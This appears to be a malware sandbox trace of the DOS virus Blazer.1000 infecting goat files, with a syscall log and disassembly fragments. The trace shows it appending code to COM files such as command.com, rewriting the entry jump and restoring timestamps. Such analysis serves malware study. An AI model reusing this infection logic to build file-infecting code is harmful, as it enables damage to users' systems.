Sample viewer

vx.netlux.org/Virus.DOS.Blazer.1000

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:02:29.887255172Z 37 PC: 12d9d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:02:29.889349658Z 26 PC: 12db3 | Set disk transfer address
2018-12-17T23:02:29.891472447Z 67 PC: 12de1 | Get or set file attributes
2018-12-17T23:02:29.897489251Z 67 PC: 12def | Get or set file attributes
2018-12-17T23:02:30.315190174Z 61 PC: 12df4 | Open file (Filename = 'c:\command.com')
2018-12-17T23:02:30.323903656Z 87 PC: 12dfa | Get or set file date and time
2018-12-17T23:02:30.325979066Z 44 PC: 12e10 | Get time 0x12e10: mov byte ptr cs:[bp + 0x149], dl
0x12e15: mov ax, 0x4202
0x12e18: xor cx, cx
0x12e1a: xor dx, dx
0x12e1c: int 0x21
0x12e1e: sub ax, 3
0x12e21: mov word ptr cs:[bp + 0x2f5], ax
0x12e26: mov ax, 0x4200
0x12e29: xor cx, cx
0x12e2b: xor dx, dx
0x12e2d: int 0x21
0x12e2f: mov ah, 0x3f
0x12e31: lea dx, word ptr [bp + 0x2ed]
0x12e35: mov cx, 3
0x12e38: int 0x21
0x12e3a: mov ax, 0x4202
0x12e3d: xor dx, dx
0x12e3f: xor cx, cx
0x12e41: int 0x21
0x12e43: mov ah, 0x2c
2018-12-17T23:02:30.328758397Z 66 PC: 12e1e | Move file pointer
2018-12-17T23:02:30.331678384Z 66 PC: 12e2f | Move file pointer
2018-12-17T23:02:30.334565408Z 63 PC: 12e3a | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:02:30.341210664Z 66 PC: 12e43 | Move file pointer
2018-12-17T23:02:30.34487578Z 44 PC: 12e47 | Get time 0x12e47: mov dh, byte ptr cs:[bp + 0x149]
0x12e4c: not dh
0x12e4e: mov word ptr cs:[bp + 0x104], dx
0x12e53: not dx
0x12e55: mov word ptr cs:[bp + 0x111], dx
0x12e5a: and dx, 0xe
0x12e5d: mov word ptr cs:[bp + 0x11f], dx
0x12e62: xor dx, ax
0x12e64: mov word ptr cs:[bp + 0x128], dx
0x12e69: not dx
0x12e6b: mov word ptr cs:[bp + 0x135], dx
0x12e70: add dx, 0xfe
0x12e74: mov word ptr cs:[bp + 0x141], dx
0x12e79: mov ah, 0x40
0x12e7b: lea dx, word ptr [bp + 0x100]
0x12e7f: lea cx, word ptr [bp + 0x14a]
0x12e83: sub cx, dx
0x12e85: int 0x21
0x12e87: cld
0x12e88: lea dx, word ptr [bp + 0x14a]
2018-12-17T23:02:30.348431521Z 64 PC: 12e87 | Write file or device (Write 74 bytes on handle 5)
2018-12-17T23:02:30.35289114Z 64 PC: 12ead | Write file or device (Write 926 bytes on handle 5)
2018-12-17T23:02:30.365208173Z 66 PC: 12eb6 | Move file pointer
2018-12-17T23:02:30.368278142Z 64 PC: 12ec1 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:02:30.371842408Z 87 PC: 12ec8 | Get or set file date and time
2018-12-17T23:02:30.374049866Z 62 PC: 12ecc | Close file
2018-12-17T23:02:30.383166495Z 78 PC: 12dcb | Find first file
2018-12-17T23:02:30.391340163Z 47 PC: 12dd7 | Get disk transfer address
2018-12-17T23:02:30.393122041Z 67 PC: 12de1 | Get or set file attributes
2018-12-17T23:02:30.400559345Z 67 PC: 12def | Get or set file attributes
2018-12-17T23:02:30.419619697Z 61 PC: 12df4 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:02:30.427776193Z 87 PC: 12dfa | Get or set file date and time
2018-12-17T23:02:30.430427003Z 44 PC: 12e10 | Get time 0x12e10: mov byte ptr cs:[bp + 0x149], dl
0x12e15: mov ax, 0x4202
0x12e18: xor cx, cx
0x12e1a: xor dx, dx
0x12e1c: int 0x21
0x12e1e: sub ax, 3
0x12e21: mov word ptr cs:[bp + 0x2f5], ax
0x12e26: mov ax, 0x4200
0x12e29: xor cx, cx
0x12e2b: xor dx, dx
0x12e2d: int 0x21
0x12e2f: mov ah, 0x3f
0x12e31: lea dx, word ptr [bp + 0x2ed]
0x12e35: mov cx, 3
0x12e38: int 0x21
0x12e3a: mov ax, 0x4202
0x12e3d: xor dx, dx
0x12e3f: xor cx, cx
0x12e41: int 0x21
0x12e43: mov ah, 0x2c
2018-12-17T23:02:30.433521427Z 66 PC: 12e1e | Move file pointer
2018-12-17T23:02:30.435258782Z 66 PC: 12e2f | Move file pointer
2018-12-17T23:02:30.442658997Z 63 PC: 12e3a | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:02:30.451356678Z 66 PC: 12e43 | Move file pointer
2018-12-17T23:02:30.453625972Z 44 PC: 12e47 | Get time 0x12e47: mov dh, byte ptr cs:[bp + 0x149]
0x12e4c: not dh
0x12e4e: mov word ptr cs:[bp + 0x104], dx
0x12e53: not dx
0x12e55: mov word ptr cs:[bp + 0x111], dx
0x12e5a: and dx, 0xe
0x12e5d: mov word ptr cs:[bp + 0x11f], dx
0x12e62: xor dx, ax
0x12e64: mov word ptr cs:[bp + 0x128], dx
0x12e69: not dx
0x12e6b: mov word ptr cs:[bp + 0x135], dx
0x12e70: add dx, 0xfe
0x12e74: mov word ptr cs:[bp + 0x141], dx
0x12e79: mov ah, 0x40
0x12e7b: lea dx, word ptr [bp + 0x100]
0x12e7f: lea cx, word ptr [bp + 0x14a]
0x12e83: sub cx, dx
0x12e85: int 0x21
0x12e87: cld
0x12e88: lea dx, word ptr [bp + 0x14a]
2018-12-17T23:02:30.457383132Z 64 PC: 12e87 | Write file or device (Write 74 bytes on handle 5)
2018-12-17T23:02:30.460503845Z 64 PC: 12ead | Write file or device (Write 926 bytes on handle 5)
2018-12-17T23:02:30.469955994Z 66 PC: 12eb6 | Move file pointer
2018-12-17T23:02:30.47173669Z 64 PC: 12ec1 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:02:30.479696657Z 87 PC: 12ec8 | Get or set file date and time
2018-12-17T23:02:30.481532436Z 62 PC: 12ecc | Close file
2018-12-17T23:02:30.490394817Z 26 PC: 12edf | Set disk transfer address
2018-12-17T23:02:30.492771984Z 47 PC: 12ee3 | Get disk transfer address
2018-12-17T23:02:30.494735944Z 67 PC: 12ef2 | Get or set file attributes
2018-12-17T23:02:30.500209508Z 79 PC: 12ef7 | Find next file
2018-12-17T23:02:30.503195318Z 42 PC: 12efe | Get date 0x12efe: cmp dh, dl
0x12f00: jne 0x12f4a
0x12f02: mov ah, 0x2c
0x12f04: int 0x21
0x12f06: cmp ch, cl
0x12f08: jne 0x12f4a
0x12f0a: mov ah, 0x1a
0x12f0c: lea dx, word ptr [bp + 0x4ec]
0x12f10: int 0x21
0x12f12: mov ah, 0x4e
0x12f14: lea dx, word ptr [bp + 0x164]
0x12f18: mov cx, 0x27
0x12f1b: int 0x21
0x12f1d: jb 0x12f39
0x12f1f: mov ah, 0x2f
0x12f21: int 0x21
0x12f23: add bx, 0x1e
0x12f26: xchg dx, bx
0x12f28: mov ax, 0x4301
0x12f2b: xor cx, cx
2018-12-17T23:02:30.506674686Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T23:02:30.511675092Z 76 PC: 12a86 | Terminate with return code (Return code = '36')